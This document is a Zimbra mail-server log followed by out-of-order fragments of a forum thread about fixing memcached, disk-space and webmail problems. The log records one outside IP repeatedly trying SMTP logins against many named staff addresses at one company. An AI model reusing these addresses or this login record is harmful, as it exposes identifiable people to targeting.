Jul 8 09:00:38 mail zmmailboxdmgr[6815]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 09:00:38 mail zmmailboxdmgr[6815]: assuming no other instance is running
Jul 8 09:00:38 mail zmmailboxdmgr[6815]: no manager process is running
Jul 8 09:00:53 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:00:53 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:00:53 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:00:53 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:00:53 mail saslauthd[2954]: auth_zimbra: aileen@hulastudios.co.in auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:00:53 mail saslauthd[2954]: do_auth : auth failure: [user=aileen@hulastudios.co.in] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:00:53 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:01:07 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:01:07 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:01:27 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:01:53 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:02:34 mail su: (to root) root on pts/0
Jul 8 09:02:58 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:02:58 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:02:58 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:02:58 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:02:58 mail saslauthd[2954]: auth_zimbra: lorie@hulastudios.co.in auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:02:58 mail saslauthd[2954]: do_auth : auth failure: [user=lorie@hulastudios.co.in] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:02:58 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:03:12 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:03:12 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:03:33 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:04:03 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:05:12 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:05:12 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:05:12 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:05:12 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:05:12 mail saslauthd[2954]: auth_zimbra: ladonna@hulastudios.co.in auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:05:12 mail saslauthd[2954]: do_auth : auth failure: [user=ladonna@hulastudios.co.in] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:05:12 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:05:25 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:05:25 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:05:39 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:06:06 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:07:11 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:07:11 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:07:11 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:07:11 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:07:11 mail saslauthd[2954]: auth_zimbra: willa@hulastudios.co.in auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:07:11 mail saslauthd[2954]: do_auth : auth failure: [user=willa@hulastudios.co.in] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:07:11 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:07:25 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:07:25 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:07:45 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:08:12 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:08:56 mail clamd[2767]: No stats for Database check - forcing reload
Jul 8 09:08:58 mail clamd[2767]: Reading databases from /opt/zimbra/data/clamav/db
Jul 8 09:09:10 mail clamd[2767]: Database correctly reloaded (4566341 signatures)
Jul 8 09:09:16 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:09:16 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:09:16 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:09:16 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:09:16 mail saslauthd[2954]: auth_zimbra: manuela@hulastudios.co.in auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:09:16 mail saslauthd[2954]: do_auth : auth failure: [user=manuela@hulastudios.co.in] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:09:16 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:09:30 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:09:30 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:09:47 mail postfix/anvil[5670]: statistics: max connection rate 1/60s for (465:45.13.39.115) at Jul 8 08:59:47
Jul 8 09:09:47 mail postfix/anvil[5670]: statistics: max connection count 1 for (465:45.13.39.115) at Jul 8 08:59:47
Jul 8 09:09:47 mail postfix/anvil[5670]: statistics: max cache size 1 at Jul 8 08:59:47
Jul 8 09:09:51 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:10:19 mail systemd-logind: New session 37 of user root.
Jul 8 09:10:20 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:11:28 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:11:28 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:11:28 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:11:28 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:11:28 mail saslauthd[2954]: auth_zimbra: gale@hulastudios.co.in auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:11:28 mail saslauthd[2954]: do_auth : auth failure: [user=gale@hulastudios.co.in] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:11:28 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:11:42 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:11:42 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:11:57 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:12:08 mail systemd-logind: New session 42 of user root.
Jul 8 09:12:13 mail postfix/smtpd[7510]: connect from unknown[193.169.252.174]
Jul 8 09:12:14 mail postfix/smtpd[7510]: lost connection after AUTH from unknown[193.169.252.174]
Jul 8 09:12:14 mail postfix/smtpd[7510]: disconnect from unknown[193.169.252.174]
Jul 8 09:12:25 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:13:32 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:13:32 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:13:32 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:13:32 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:13:32 mail saslauthd[2954]: auth_zimbra: selma@hulastudios.co.in auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:13:32 mail saslauthd[2954]: do_auth : auth failure: [user=selma@hulastudios.co.in] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:13:32 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:13:44 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:13:44 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:14:03 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:14:29 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:15:34 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:15:34 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:15:34 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:15:34 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:15:34 mail saslauthd[2954]: auth_zimbra: dolly@hulastudios.co.in auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:15:34 mail saslauthd[2954]: do_auth : auth failure: [user=dolly@hulastudios.co.in] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:15:34 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:15:48 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:15:48 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:16:09 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]

@scottalanmiller said in zimbra 8.6 memcached is not running:

df -h
i actually cleaned up some space before restarting

@scottalanmiller
non-default... i havent made any changes on LDAP

@scottalanmiller said in zimbra 8.6 memcached is not running:

and tell us the error messages.

i restarted now its different error

why the hell this DB file size is taking 80 GB ???

zimbra 8.6 memcached is not running i tried to clean up some space and restart the service .. still the same
what else can be done... please help...
am unable to send emails its saying..
mta failure on repaying , from mta (smtp : 127.0.0.1)"10030 451 4.7.1 service unavaliable try again later..

@scottalanmiller i can actually... first let me check what we have in current version..

never mind after upgrade its working fine... thanks for the support...

@scottalanmiller

it stops here... maybe upgrade from 8.5 to 8.6 should solve this issue ??

it was working perfectly fine from long time.

@travisdh1 200+ client

all services are up and running.

login screen keep loading... nothing happens

Zimbra Webmail stuck after login .. should we update zimbra ?? any solution please...

Thanks Scott..so it will restore same as is.. no need to worry about password